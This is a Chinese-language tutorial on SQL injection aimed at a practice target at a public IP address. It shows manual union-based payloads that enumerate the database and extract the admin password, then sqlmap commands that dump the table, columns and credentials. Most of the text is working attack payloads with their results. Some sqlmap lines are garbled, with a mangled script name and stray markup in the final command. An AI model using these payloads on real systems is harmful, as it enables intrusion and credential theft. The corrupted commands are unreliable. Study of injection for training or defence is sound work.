SQL注入1
本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责
一、学习目的:
- 利用手工注入网站
- 利用sqlmab注入
二、附件说明
- 靶场网址:http://117.41.229.122:8003/?id=1
- 工具sqlmap下载:https://download.csdn.net/download/qq_41803637/10911556
- sqlmap使用说明:https://www.cnblogs.com/ichunqiu/p/5805108.html
三、手工注入
1、判断有无注入点
代码1
http://117.41.229.122:8003/?id=1 and 1=1
实践1
回车后导航条,显示下面的情景,是正常现象,不用管
代码2
http://117.41.229.122:8003/?id=1 and 1=2
实践2
说明:两个效果不一样,说明有注入点
2、猜测注入点的数量
代码
关键词:order by 注入点数量
http://117.41.229.122:8003/?id=1 order by 50
实践
说明注入点判断错误
说明注入点判断成功
说明:注入点的个数为2
3、查询显现字段
代码
关键字:union select
http://117.41.229.122:8003/?id=1 and 1=2 union select 1,2
说明:
- 为方便显示显现的字段,所以特意设置 and 1-2
- 前面测出有几个注入点,就在select后面输入从1到n的几个数
实践
说明:显现字段为2
4、查询数据库版本
代码
http://117.41.229.122:8003/?id=1 and 1=2 union select 1,version()
注意:在显现字段处,写查询的事务
实践
说明:版本为MySQL 5.5.53
5、查询数据库
代码
http://117.41.229.122:8003/?id=1 and 1=2 union select 1,database()
实践
说明:数据库名为maoshe
6、查询数据表
代码
http://117.41.229.122:8003/?id=1 and 1=2 UNION SELECT 1,table_name from information_schema.tables where table_schema=database()
实践
说明:在数据库maoshe里面有一个数据表admin
7、查找密码
代码
http://117.41.229.122:8003/?id=1 and 1=2 UNION SELECT 1,password from admin
实践
说明:密码为hellohack
四、sqlmap注入
1、猜解是否能注入
win: python sqlmap.py -u
"网址?id=1"
【id等于几可以随便输入,但是必须输入且只能为数字】
Linux : .lmap.py -u
"网址?id=7"
【id等于几可以随便输入,但是必须输入且只能为数字】
后面为方便理解,全部以网址放置
2、猜解表
win: python sqlmap.py -u
"http://117.41.229.122:8003/?id=1"
--tables
Linux: .lmap.py -u
"http://117.41.229.122:8003/?id=1"
--tables
3、 根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表)
win: python sqlmap.py -u
"http://117.41.229.122:8003/?id=1"
--columns -T admin
Linux: .lmap.py -u
"http://117.41.229.122:8003/?id=1"
--columns -T admin
4、 根据字段猜解内容(假如通过3得到字段为username和password)
win: python sqlmap.py -u
"http://117.41.229.122:8003/?id=1"
--dump -T admin -C
"username,password"
Linux: .lmap.py -u
"http://117.41.229.122:8003/?id=1"
--dump -T admin -C
"username,[url=]B[/url]password"